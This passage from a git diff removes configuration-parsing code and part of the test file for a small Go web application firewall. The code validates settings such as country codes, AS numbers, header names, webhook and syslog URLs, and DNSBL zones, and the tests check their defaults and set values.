Kosovo. golang.org/x/text/language cannot -// check them: it also takes withdrawn codes such as su, and reserved ones -// such as ac, as countries. -const countryCodes = ` -AD AE AF AG AI AL AM AO AQ AR AS AT AU AW AX AZ -BA BB BD BE BF BG BH BI BJ BL BM BN BO BQ BR BS BT BV BW BY BZ -CA CC CD CF CG CH CI CK CL CM CN CO CR CU CV CW CX CY CZ -DE DJ DK DM DO DZ -EC EE EG EH ER ES ET -FI FJ FK FM FO FR -GA GB GD GE GF GG GH GI GL GM GN GP GQ GR GS GT GU GW GY -HK HM HN HR HT HU -ID IE IL IM IN IO IQ IR IS IT -JE JM JO JP -KE KG KH KI KM KN KP KR KW KY KZ -LA LB LC LI LK LR LS LT LU LV LY -MA MC MD ME MF MG MH MK ML MM MN MO MP MQ MR MS MT MU MV MW MX MY MZ -NA NC NE NF NG NI NL NO NP NR NU NZ -OM -PA PE PF PG PH PK PL PM PN PR PS PT PW PY -QA -RE RO RS RU RW -SA SB SC SD SE SG SH SI SJ SK SL SM SN SO SR SS ST SV SX SY SZ -TC TD TF TG TH TJ TK TL TM TN TO TR TT TV TW TZ -UA UG UM US UY UZ -VA VC VE VG VI VN VU -WF WS -XK -YE YT -ZA ZM ZW -` - -// parseCountries reads a comma-separated list of country codes in either -// case, and returns them in capitals. -func parseCountries(value string) ([]string, error) { - items, err := parseList(value) - if err != nil { - return nil, err - } - - countries := make([]string, 0, len(items)) - - for _, item := range items { - country, err := parseCountry(item) - if err != nil { - return nil, err - } - - countries = append(countries, country) - } - - return countries, nil -} - -// parseCountry reads a country code in either case, and returns it in -// capitals. -func parseCountry(value string) (string, error) { - country := strings.ToUpper(value) - if !slices.Contains(strings.Fields(countryCodes), country) { - return "", fmt.Errorf("%q %w", value, errNotCountry) - } - - return country, nil -} - -// ParseASN reads an AS number such as AS64496, in either case, and -// returns it as the lookup gives it: AS and the number, in capitals and -// without leading zeros. The file SWWAF_ASN_LIMIT_PERCENT_URL names is -// read with it too. -func ParseASN(value string) (string, error) { - digits, hasAS := strings.CutPrefix(strings.ToUpper(value), "AS") - - number, err := strconv.ParseUint(digits, 10, 32) - if !hasAS || err != nil { - return "", fmt.Errorf("%q %w", value, errNotASN) - } - - return "AS" + strconv.FormatUint(number, 10), nil -} - -// parsePercents reads a comma-separated list of items, each an AS number -// or a country, which parseCode reads, then : and a percentage, such as -// AS64496:50 or cn:25, and returns each one's percentage. An empty value -// is an empty list. An AS number or country listed twice is an error. -func parsePercents( - value string, parseCode func(string) (string, error), -) (map[string]int64, error) { - items, err := parseList(value) - if err != nil { - return nil, err - } - - percents := make(map[string]int64, len(items)) - - for _, item := range items { - codeText, percentText, found := strings.Cut(item, ":") - if !found { - return nil, fmt.Errorf("%q %w", item, errNotPercentItem) - } - - code, err := parseCode(codeText) - if err != nil { - return nil, err - } - - percent, err := ParsePercent(percentText) - if err != nil { - return nil, err - } - - if _, listed := percents[code]; listed { - return nil, fmt.Errorf("%q %w", codeText, errListedTwice) - } - - percents[code] = percent - } - - return percents, nil -} - -// ParsePercent reads a percentage, a whole number from 0 to 100. The file -// SWWAF_ASN_LIMIT_PERCENT_URL names is read with it too. -func ParsePercent(value string) (int64, error) { - percent, err := strconv.ParseInt(value, 10, 64) - if err != nil || percent < 0 || percent > 100 { - return 0, fmt.Errorf("%q %w", value, errNotPercent) - } - - return percent, nil -} - -// headerNameChars are the characters RFC 9110 allows in a header name: -// letters, digits and these marks. -const headerNameChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + - "0123456789!#$%&'*+-.^_`|~" - -// IsHeaderName reports whether name can be a header name: one or more of -// the characters RFC 9110 allows in one. -func IsHeaderName(name string) bool { - if name == "" { - return false - } - - for _, char := range name { - if !strings.ContainsRune(headerNameChars, char) { - return false - } - } - - return true -} - -// parseHeaderNames reads a comma-separated list of header names in either -// case, and returns them in lower case. Host and Transfer-Encoding are -// refused: Go's HTTP server takes them out of the request's headers. -func parseHeaderNames(value string) ([]string, error) { - items, err := parseList(value) - if err != nil { - return nil, err - } - - headers := make([]string, 0, len(items)) - - for _, item := range items { - if !IsHeaderName(item) { - return nil, fmt.Errorf("%q %w", item, errNotHeaderName) - } - - header := strings.ToLower(item) - switch header { - case "host": - return nil, fmt.Errorf("%q %w; the request's host is the field host", - item, errHeaderTakenOut) - case "transfer-encoding": - return nil, fmt.Errorf("%q %w", item, errHeaderTakenOut) - } - - headers = append(headers, header) - } - - return headers, nil -} - // parseListenAddr checks an address to listen on: an optional host and a // port number. func parseListenAddr(value string) (string, error) { @@ -1855,320 +300,3 @@ func parseListenAddr(value string) (string, error) { return value, nil } - -// parseUpstreamURL reads the app's URL: http or https, a host and an -// optional port from 1 to 65535, and nothing else, since the request's -// own path and query go to the app unchanged. -func parseUpstreamURL(value string) (*url.URL, error) { - upstream, err := url.Parse(value) - if err != nil { - return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL) - } - - onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") && - upstream.Hostname() != "" && upstream.User == nil && upstream.Opaque == "" && - (upstream.Path == "" || upstream.Path == "/") && - upstream.RawQuery == "" && upstream.Fragment == "" - if !onlySchemeAndHost { - return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL) - } - - if upstream.Port() != "" { - port, err := strconv.ParseUint(upstream.Port(), 10, 16) - if err != nil || port == 0 { - return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL) - } - } - - return upstream, nil -} - -// parseLogRemoteURL reads where every log line is also sent: -// syslog+udp, syslog+tcp or syslog+tls, a host and a port from 1 to -// 65535, and nothing else. -func parseLogRemoteURL(value string) (*url.URL, error) { - remote, err := url.Parse(value) - if err != nil { - return nil, fmt.Errorf("%q %w", value, errNotLogRemoteURL) - } - - schemes := []string{remotelog.SchemeUDP, remotelog.SchemeTCP, remotelog.SchemeTLS} - port, err := strconv.ParseUint(remote.Port(), 10, 16) - - onlySchemeHostAndPort := slices.Contains(schemes, remote.Scheme) && - remote.Hostname() != "" && err == nil && port != 0 && - remote.User == nil && remote.Opaque == "" && - (remote.Path == "" || remote.Path == "/") && - remote.RawQuery == "" && remote.Fragment == "" - if !onlySchemeHostAndPort { - return nil, fmt.Errorf("%q %w", value, errNotLogRemoteURL) - } - - return remote, nil -} - -// parseFacility reads the name of a syslog facility, and returns its -// number, as RFC 5424 numbers them. -func parseFacility(value string) (int, error) { - //nolint:mnd // the facilities' numbers in RFC 5424 - number, known := map[string]int{ - "kern": 0, "user": 1, "mail": 2, "daemon": 3, "auth": 4, "syslog": 5, - "lpr": 6, "news": 7, "uucp": 8, "cron": 9, "authpriv": 10, "ftp": 11, - "local0": 16, "local1": 17, "local2": 18, "local3": 19, - "local4": 20, "local5": 21, "local6": 22, "local7": 23, - }[value] - if !known { - return 0, fmt.Errorf("%q %w", value, errNotFacility) - } - - return number, nil -} - -// parseWebhookURL reads where each alert is posted: http or https, a -// host, and an optional port from 1 to 65535, path and query, without a -// user or a fragment. It returns the URL, and how the log shows it: its -// scheme and host, and ******** in place of its path and query, if it has -// either. An error shows no part of the value. An empty value is no URL. -func parseWebhookURL(value string) (*url.URL, string, error) { - if value == "" { - return nil, "", nil - } - - webhook, err := url.Parse(value) - if err != nil || !isHTTPURL(webhook) { - return nil, "", errNotWebhookURL - } - - logged := webhook.Scheme + "://" + webhook.Host - if webhook.Path != "" || webhook.RawQuery != "" { - logged += "/" + masked - } - - return webhook, logged, nil -} - -// isHTTPURL reports whether u is http or https, with a host, and an -// optional port from 1 to 65535, path and query, without a user or a -// fragment. -func isHTTPURL(u *url.URL) bool { - port, err := strconv.ParseUint(u.Port(), 10, 16) - - return (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != "" && - (u.Port() == "" || (err == nil && port != 0)) && - u.User == nil && u.Opaque == "" && u.Fragment == "" -} - -// isListURL reports whether value is a URL a list can be fetched from, as -// isHTTPURL says. -func isListURL(value string) bool { - u, err := url.Parse(value) - - return err == nil && isHTTPURL(u) -} - -// parseListURLs reads a comma-separated list of the URLs lists are fetched -// from. A URL listed twice is an error: it would be fetched twice as -// often. -func parseListURLs(value string) ([]string, error) { - urls, err := parseList(value) - if err != nil { - return nil, err - } - - for i, listURL := range urls { - if !isListURL(listURL) { - return nil, fmt.Errorf("%q %w", listURL, errNotListURL) - } - - if slices.Contains(urls[:i], listURL) { - return nil, fmt.Errorf("%q %w", listURL, errListedTwice) - } - } - - return urls, nil -} - -const ( - // maxZoneLength is the most characters a DNSBL zone may have: 253, the - // most a DNS name may have, less the 64 that come before the zone in - // the name an IPv6 client is asked about by, its 32 hex digits each - // followed by a dot. - maxZoneLength = 189 - // maxLabelLength is the most characters a label of a DNS name may have. - maxLabelLength = 63 - // labelChars are the characters a label of a DNS zone may hold. - labelChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-" - // dnsPort is the port a resolver is asked on when SWWAF_DNSBL_RESOLVER - // gives none. - dnsPort = 53 -) - -// parseZones reads a comma-separated list of DNSBL zones, each a DNS name -// such as dnsbl.dronebl.org: labels separated by dots, each of 1 to 63 -// letters, digits and hyphens, neither starting nor ending with a hyphen, -// and at most maxZoneLength characters in all. Go's resolver takes any -// other name for one that does not exist, so that the zone would list no -// client. A zone listed twice is an error, whatever the case of its -// letters, which DNS names ignore, and whatever its key, since -// MaskZoneKey shows two keys of one zone alike. An error shows a zone as -// MaskZoneKey does. -func parseZones(value string) ([]string, error) { - zones, err := parseList(value) - if err != nil { - // parseList's error, for an empty item, shows the whole value, keys - // included. - return nil, errEmptyItem - } - - for i, zone := range zones { - shown := MaskZoneKey(zone) - listedBefore := slices.ContainsFunc(zones[:i], func(earlier string) bool { - return strings.EqualFold(MaskZoneKey(earlier), shown) - }) - - switch { - case len(zone) > maxZoneLength: - return nil, fmt.Errorf("%q %w", shown, errZoneTooLong) - case !isZone(zone): - return nil, fmt.Errorf("%q %w", shown, errNotZone) - case listedBefore: - return nil, fmt.Errorf("%q %w", shown, errListedTwice) - } - } - - return zones, nil -} - -// MaskZoneKey returns zone with ******** in place of its key, if it is a -// zone of Spamhaus's keyed query service, a name under dq.spamhaus.net, -// such as .xbl.dq.spamhaus.net, whose first label is the key. Any -// other zone it returns as it is. A zone is shown so wherever it leaves -// the process: in the log, the alerts and the metrics. -func MaskZoneKey(zone string) string { - // DNS names ignore case, and a name may be written with a dot at its - // end. - name := strings.TrimSuffix(strings.ToLower(zone), ".") - if !strings.HasSuffix(name, ".dq.spamhaus.net") { - return zone - } - - _, rest, _ := strings.Cut(zone, ".") - - return masked + "." + rest -} - -// isZone reports whether each label of zone is as parseZones takes it. -func isZone(zone string) bool { - for label := range strings.SplitSeq(zone, ".") { - badChar := strings.ContainsFunc(label, func(char rune) bool { - return !strings.ContainsRune(labelChars, char) - }) - - if label == "" || len(label) > maxLabelLength || badChar || - strings.HasPrefix(label, "-") || strings.HasSuffix(label, "-") { - return false - } - } - - return true -} - -// parseResolver reads the resolver the DNSBL zones are asked through: an -// IP address with a port from 1 to 65535, such as 192.0.2.53:5353 or -// [2001:db8::53]:5353, or without one, such as 192.0.2.53 or 2001:db8::53, -// for port 53. An empty value is none, the zero AddrPort. -func parseResolver(value string) (netip.AddrPort, error) { - if value == "" { - return netip.AddrPort{}, nil - } - - resolver, err := netip.ParseAddrPort(value) - if err == nil && resolver.Port() != 0 { - return resolver, nil - } - - addr, err := netip.ParseAddr(value) - if err != nil { - return netip.AddrPort{}, fmt.Errorf("%q %w", value, errNotResolver) - } - - return netip.AddrPortFrom(addr, dnsPort), nil -} - -// parseWebhookHeaders reads a comma-separated list of headers, each its -// name, :, and its value, and returns them, and how the log shows them, -// with each value as ********. An error names the item by its place in -// the list, so that it shows no value. An empty value is an empty list. -func parseWebhookHeaders(value string) (http.Header, string, error) { - headers := http.Header{} - if strings.TrimSpace(value) == "" { - return headers, "", nil - } - - logged := []string{} - - for i, item := range strings.Split(value, ",") { - name, headerValue, found := strings.Cut(item, ":") - name = strings.TrimSpace(name) - - if !found || !IsHeaderName(name) || strings.ContainsAny(headerValue, "\r\n\x00") { - return nil, "", fmt.Errorf("item %d %w", i+1, errNotWebhookHeader) - } - - headers.Add(name, strings.TrimSpace(headerValue)) - logged = append(logged, name+":"+masked) - } - - return headers, strings.Join(logged, ","), nil -} - -// parseAlertEvents reads a comma-separated list of the events alerts can -// be sent for. -func parseAlertEvents(value string) ([]string, error) { - events, err := parseList(value) - if err != nil { - return nil, err - } - - for _, event := range events { - if !slices.Contains(alerts.Events(), event) { - return nil, fmt.Errorf("%q %w", event, errNotAlertEvent) - } - } - - return events, nil -} - -// parseNumberOrOff reads a whole number above zero, or off, which is 0. -func parseNumberOrOff(value string) (int, error) { - if value == off { - return 0, nil - } - - n, err := strconv.Atoi(value) - if err != nil || n <= 0 { - return 0, fmt.Errorf("%q %w", value, errNotNumberOrOff) - } - - return n, nil -} - -// appNameMaxLength is the most characters RFC 5424 allows in an -// APP-NAME. -const appNameMaxLength = 48 - -// isAppName reports whether value can be an APP-NAME: 1 to -// appNameMaxLength printable ASCII characters, none of them a space. -func isAppName(value string) bool { - if value == "" || len(value) > appNameMaxLength { - return false - } - - for _, char := range []byte(value) { - if char < '!' || char > '~' { - return false - } - } - - return true -} diff --git a/internal/config/config_test.go b/internal/config/config_test.go deleted file mode 100644 index 6ea28fc..0000000 --- a/internal/config/config_test.go +++ /dev/null @@ -1,2468 +0,0 @@ -package config_test - -import ( - "bytes" - "crypto/x509" - "encoding/json" - "log/slog" - "maps" - "net/http" - "net/netip" - "os" - "path/filepath" - "reflect" - "slices" - "strconv" - "strings" - "testing" - "time" - - "sneak.berlin/go/smallwebwaf/internal/anomaly" - "sneak.berlin/go/smallwebwaf/internal/config" -) - -// The settings, by name. -const ( - listenAddr = "SWWAF_LISTEN_ADDR" - mode = "SWWAF_MODE" - ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX" - maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS" - allowNets = "SWWAF_ALLOW_NETS" - rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS" - denyNets = "SWWAF_DENY_NETS" - rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" - rateLimitPerHour = "SWWAF_RATE_LIMIT_PER_HOUR" - rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" - rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS" - bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE" - bytesLimitPerHour = "SWWAF_BYTES_LIMIT_PER_HOUR" - bytesLimitPerDay = "SWWAF_BYTES_LIMIT_PER_DAY" - bytesCount = "SWWAF_BYTES_COUNT" - lookupSource = "SWWAF_LOOKUP_SOURCE" - lookupDBPath = "SWWAF_LOOKUP_DB_PATH" - lookupTimeout = "SWWAF_LOOKUP_TIMEOUT" - addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS" - deniedCountries = "SWWAF_DENIED_COUNTRIES" - allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" - asnLimitPercent = "SWWAF_ASN_LIMIT_PERCENT" - countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT" - asnBytesPercent = "SWWAF_ASN_BYTES_PERCENT" - countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT" - unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT" - asnLimitPercentURL = "SWWAF_ASN_LIMIT_PERCENT_URL" - blocklistURLs = "SWWAF_BLOCKLIST_URLS" - blocklistRefresh = "SWWAF_BLOCKLIST_REFRESH" - blocklistAction = "SWWAF_BLOCKLIST_ACTION" - dnsblZones = "SWWAF_DNSBL_ZONES" - dnsblResolver = "SWWAF_DNSBL_RESOLVER" - abuseIPDBKey = "SWWAF_ABUSEIPDB_KEY" - abuseIPDBMinScore = "SWWAF_ABUSEIPDB_MIN_SCORE" - abuseIPDBDailyBudget = "SWWAF_ABUSEIPDB_DAILY_BUDGET" - reputationAction = "SWWAF_REPUTATION_ACTION" - reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL" - reputationTimeout = "SWWAF_REPUTATION_TIMEOUT" - crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL" - crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY" - banResponse = "SWWAF_BAN_RESPONSE" - limitBanDuration = "SWWAF_LIMIT_BAN_DURATION" - limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW" - maxBanDuration = "SWWAF_MAX_BAN_DURATION" - attackBanDuration = "SWWAF_ATTACK_BAN_DURATION" - maxBans = "SWWAF_MAX_BANS" - banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX" - stateDir = "SWWAF_STATE_DIR" - stateWriteDelay = "SWWAF_STATE_WRITE_DELAY" - stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" - adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name - metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name - metricsTopN = "SWWAF_METRICS_TOP_N" - instanceName = "SWWAF_INSTANCE_NAME" - logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" - logLevel = "SWWAF_LOG_LEVEL" - rulesDir = "SWWAF_RULES_DIR" - rulesEnabled = "SWWAF_RULES_ENABLED" - wafMode = "SWWAF_WAF_MODE" - wafParanoiaLevel = "SWWAF_WAF_PARANOIA_LEVEL" - wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD" - wafDisabledRules = "SWWAF_WAF_DISABLED_RULES" - wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS" - wafBodyLimit = "SWWAF_WAF_BODY_LIMIT" - trapPaths = "SWWAF_TRAP_PATHS" - errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD" - logRemoteURL = "SWWAF_LOG_REMOTE_URL" - logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE" - logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER" - logRemoteFacility = "SWWAF_LOG_REMOTE_FACILITY" - logRemoteAppName = "SWWAF_LOG_REMOTE_APP_NAME" - alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL" - alertWebhookHeaders = "SWWAF_ALERT_WEBHOOK_HEADERS" - alertSlackWebhookURL = "SWWAF_ALERT_SLACK_WEBHOOK_URL" - alertNtfyURL = "SWWAF_ALERT_NTFY_URL" - alertNtfyToken = "SWWAF_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name - alertEvents = "SWWAF_ALERT_EVENTS" - alertCooldown = "SWWAF_ALERT_COOLDOWN" - alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR" - anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX" - anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX" - watchNets = "SWWAF_WATCH_NETS" -) - -// The anomaly thresholds: each of the prefixes below, which name a scope, -// followed by each of the four ends. -const ( - anomalyClient = "SWWAF_ANOMALY_CLIENT_" - anomalyNet = "SWWAF_ANOMALY_NET_" - anomalyASN = "SWWAF_ANOMALY_ASN_" - anomalyTotal = "SWWAF_ANOMALY_TOTAL_" - watch = "SWWAF_WATCH_" - - requestsPerMinute = "REQUESTS_PER_MINUTE" - requestsPerHour = "REQUESTS_PER_HOUR" - bytesPerMinute = "BYTES_PER_MINUTE" - bytesPerHour = "BYTES_PER_HOUR" -) - -// anomalyScopes returns the prefixes of the anomaly thresholds, one for -// each scope. -func anomalyScopes() []string { - return []string{anomalyClient, anomalyNet, anomalyASN, anomalyTotal, watch} -} - -// anomalyThresholds returns the names of the twenty anomaly thresholds. -func anomalyThresholds() []string { - ends := []string{requestsPerMinute, requestsPerHour, bytesPerMinute, bytesPerHour} - names := make([]string, 0, len(anomalyScopes())*len(ends)) - - for _, scope := range anomalyScopes() { - for _, end := range ends { - names = append(names, scope+end) - } - } - - return names -} - -// loggedAnomalyDefaults returns the anomaly settings as the settings -// logged at start give them by default. -func loggedAnomalyDefaults() map[string]string { - logged := map[string]string{ - anomalyNetV4Prefix: "24", anomalyNetV6Prefix: "48", watchNets: "", - } - for _, name := range anomalyThresholds() { - logged[name] = off - } - - return logged -} - -// defaultAlertEvents is the default of SWWAF_ALERT_EVENTS, and -// defaultAlertCooldown that of SWWAF_ALERT_COOLDOWN. -const ( - defaultAlertEvents = "ban,permanent_ban,waf_block,anomaly,reputation_hit," + - "source_failure,file_error" - defaultAlertCooldown = "15m" -) - -// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL. -const defaultReputationCacheTTL = "24h" - -// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES. -const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140" - -// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS. -const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," + - "content-type,origin,range" - -// testCA is a CA certificate, of which only that it reads matters here. -const testCA = `-----BEGIN CERTIFICATE----- -MIIBkzCCATmgAwIBAgIUeySaE27dnr6A2HijrMB13gTLUKIwCgYIKoZIzj0EAwIw -HjEcMBoGA1UEAwwTc21hbGx3ZWJ3YWYgdGVzdCBDQTAgFw0yNjEwMDYxNDI2MTNa -GA8yMTI2MDkxMjE0MjYxM1owHjEcMBoGA1UEAwwTc21hbGx3ZWJ3YWYgdGVzdCBD -QTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABKDEhcWKKhet2KgSdME+iEPxyEyn -2sd9IdElbt8DM2SfCdB2JsXo0C07UNZaywMPMfn/n8LNI/PKwu+N2uX7gfSjUzBR -MB0GA1UdDgQWBBRZo3BPLv0KbV4drw6JI1JIUKmoRzAfBgNVHSMEGDAWgBRZo3BP -Lv0KbV4drw6JI1JIUKmoRzAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMCA0gA -MEUCICC5k+76UpWoSwVbZA+atu5WcALEOJGqwOUWua3zemhcAiEA8Hfdxgwp0z2v -rlG9y/jrJb6ORy3kTLWo2EA0BA67vuI= ------END CERTIFICATE----- -` - -// token is a token of 32 characters, the shortest allowed, and -// otherToken another. -const ( - token = "0123456789abcdef0123456789abcdef" - otherToken = "fedcba9876543210fedcba9876543210" -) - -// instance is an SWWAF_INSTANCE_NAME that is a valid app name too, and -// remoteURL an SWWAF_LOG_REMOTE_URL, for the tests that send the lines. -const ( - instance = "fsn1app1/gitea" - remoteURL = "syslog+udp://192.0.2.1:514" -) - -// off switches a timeout, a size limit or a rate limit off. -const off = "off" - -// enabled is true, as a setting's value. -const enabled = "true" - -// defaultLookupSource is the default of SWWAF_LOOKUP_SOURCE, and -// fileSource the source that is the lookup database. -const ( - defaultLookupSource = "geojs" - fileSource = "file" -) - -// environment is a set of environment variables, for FromEnvironment. -type environment map[string]string - -// lookupEnv reads one of the variables, as os.LookupEnv does. -func (e environment) lookupEnv(name string) (string, bool) { - value, ok := e[name] - - return value, ok -} - -// fromEnvironment reads the settings from env, which must be valid. -func fromEnvironment(t *testing.T, env environment) *config.Config { - t.Helper() - - cfg, err := config.FromEnvironment(env.lookupEnv) - if err != nil { - t.Fatalf("settings %v: %v", env, err) - } - - return cfg -} - -func TestDefaults(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{}) - - wantSettings(t, cfg, config.Config{ - ListenAddr: ":8080", - Observe: false, - RateLimitPerMinute: 120, - RateLimitPerHour: 1500, - RateLimitPerDay: 6000, - BanResponse: 403, - LimitBanDuration: time.Hour, - LimitBanRepeatWindow: 24 * time.Hour, - MaxBanDuration: 7 * 24 * time.Hour, - AttackBanDuration: 7 * 24 * time.Hour, - MaxBans: 5000, - BanScopeV4Prefix: 32, - StateDir: "/var/lib/smallwebwaf", - StateWriteDelay: 10 * time.Second, - StateCounterInterval: 15 * time.Minute, - MetricsToken: "", - MetricsTopN: 50, - RulesDir: "/etc/smallwebwaf/rules.d", - RulesEnabled: true, - }) - wantLookupSettings(t, cfg, config.Config{ - LookupSource: defaultLookupSource, LookupTimeout: 800 * time.Millisecond, - }) - wantByteLimitSettings(t, cfg, config.Config{ - BytesLimitPerMinute: 0, BytesLimitPerHour: 50 << 30, - BytesLimitPerDay: 100 << 30, BytesCount: "both", - }) - - wantNetblocks(t, cfg.AllowNets) - wantNetblocks(t, cfg.RateLimitExemptNets) - wantNetblocks(t, cfg.DenyNets) - wantCountries(t, deniedCountries, cfg.DeniedCountries) - wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries) - - hostname, err := os.Hostname() - if err != nil || hostname == "" || cfg.InstanceName != hostname { - t.Errorf("%s is %q, want the host's name %q (%v)", instanceName, - cfg.InstanceName, hostname, err) - } - - wantHeaders := strings.Split(defaultLogRequestHeaders, ",") - if !slices.Equal(cfg.LogRequestHeaders, wantHeaders) { - t.Errorf("%s gave %v, want %v", logRequestHeaders, cfg.LogRequestHeaders, - wantHeaders) - } - - if len(cfg.RateLimitExemptPaths) != 0 { - t.Errorf("%s gave %v, want none", rateLimitExemptPaths, cfg.RateLimitExemptPaths) - } -} - -func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{}) - - rproxy, err := rproxyConfig(map[string]string{wafBackend: backendURL}) - if err != nil { - t.Fatalf("settings: %v", err) - } - - // The largest request body and the largest response, both counted. - largest := rproxy.MaxRequestSize + rproxy.MaxResponseSize - for _, limit := range []int64{ - cfg.BytesLimitPerMinute, cfg.BytesLimitPerHour, cfg.BytesLimitPerDay, - } { - if limit != 0 && largest > limit { // 0 is off - t.Errorf("a request of %d bytes breaks the byte limit of %d", largest, limit) - } - } -} - -func TestValuesAsSet(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{ - listenAddr: "127.0.0.1:9000", - mode: "observe", - allowNets: "192.0.2.7", - rateLimitExemptNets: "2001:db8::/48, 10.9.8.7", - denyNets: "198.51.100.0/24", - rateLimitPerMinute: "60", - rateLimitPerHour: "600", - rateLimitPerDay: "6000", - deniedCountries: "cn, RU,kp,Xk", - allowedCountries: "de", - banResponse: "429", - limitBanDuration: "15m", - limitBanRepeatWindow: "2d", - maxBanDuration: "30d", - attackBanDuration: "1d", - maxBans: "100", - banScopeV4Prefix: "24", - stateDir: "/srv/waf-state", - stateWriteDelay: "500ms", - stateCounterInterval: "1h", - metricsToken: token, - metricsTopN: "10", - rulesDir: "/srv/waf-rules", - rulesEnabled: "false", - }) - - wantSettings(t, cfg, config.Config{ - ListenAddr: "127.0.0.1:9000", - Observe: true, - RateLimitPerMinute: 60, - RateLimitPerHour: 600, - RateLimitPerDay: 6000, - BanResponse: 429, - LimitBanDuration: 15 * time.Minute, - LimitBanRepeatWindow: 48 * time.Hour, - MaxBanDuration: 30 * 24 * time.Hour, - AttackBanDuration: 24 * time.Hour, - MaxBans: 100, - BanScopeV4Prefix: 24, - StateDir: "/srv/waf-state", - StateWriteDelay: 500 * time.Millisecond, - StateCounterInterval: time.Hour, - MetricsToken: token, - MetricsTopN: 10, - RulesDir: "/srv/waf-rules", - RulesEnabled: false, - }) - - wantNetblocks(t, cfg.AllowNets, "192.0.2.7/32") - wantNetblocks(t, cfg.RateLimitExemptNets, "2001:db8::/48", "10.9.8.7/32") - wantNetblocks(t, cfg.DenyNets, "198.51.100.0/24") - wantCountries(t, deniedCountries, cfg.DeniedCountries, "CN", "RU", "KP", "XK") - wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE") -} - -func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) { - t.Parallel() - - for _, tc := range []struct { - env environment - prefix, clients int - level slog.Level - }{ - {environment{}, 64, 20000, slog.LevelInfo}, - { - environment{ipv6GroupPrefix: "48", maxTrackedClients: "500", logLevel: "warn"}, - 48, 500, slog.LevelWarn, - }, - } { - cfg := fromEnvironment(t, tc.env) - if cfg.IPv6GroupPrefix != tc.prefix || cfg.MaxTrackedClients != tc.clients || - cfg.LogLevel != tc.level { - t.Errorf("%v gave %d, %d and %v, want %d, %d and %v", tc.env, - cfg.IPv6GroupPrefix, cfg.MaxTrackedClients, cfg.LogLevel, - tc.prefix, tc.clients, tc.level) - } - } -} - -func TestIPv6GroupPrefixFrom32To128(t *testing.T) { - t.Parallel() - - for _, length := range []int{32, 128} { - cfg := fromEnvironment(t, environment{ipv6GroupPrefix: strconv.Itoa(length)}) - if cfg.IPv6GroupPrefix != length { - t.Errorf("%s=%d gave %d", ipv6GroupPrefix, length, cfg.IPv6GroupPrefix) - } - } -} - -func TestEachLogLevel(t *testing.T) { - t.Parallel() - - for value, want := range map[string]slog.Level{ - "debug": slog.LevelDebug, - "info": slog.LevelInfo, - "warn": slog.LevelWarn, - "error": slog.LevelError, - } { - cfg := fromEnvironment(t, environment{logLevel: value}) - if cfg.LogLevel != want { - t.Errorf("%s=%s gave %v, want %v", logLevel, value, cfg.LogLevel, want) - } - } -} - -func TestByteLimitSettingsAsSet(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{ - bytesLimitPerMinute: "512M", - bytesLimitPerHour: off, - bytesLimitPerDay: "100000", - bytesCount: "response", - }) - - wantByteLimitSettings(t, cfg, config.Config{ - BytesLimitPerMinute: 512 << 20, BytesLimitPerHour: 0, - BytesLimitPerDay: 100000, BytesCount: "response", - }) -} - -func TestRateLimitExemptPathsAsSet(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{rateLimitExemptPaths: "/assets/, /favicon.ico"}) - - if 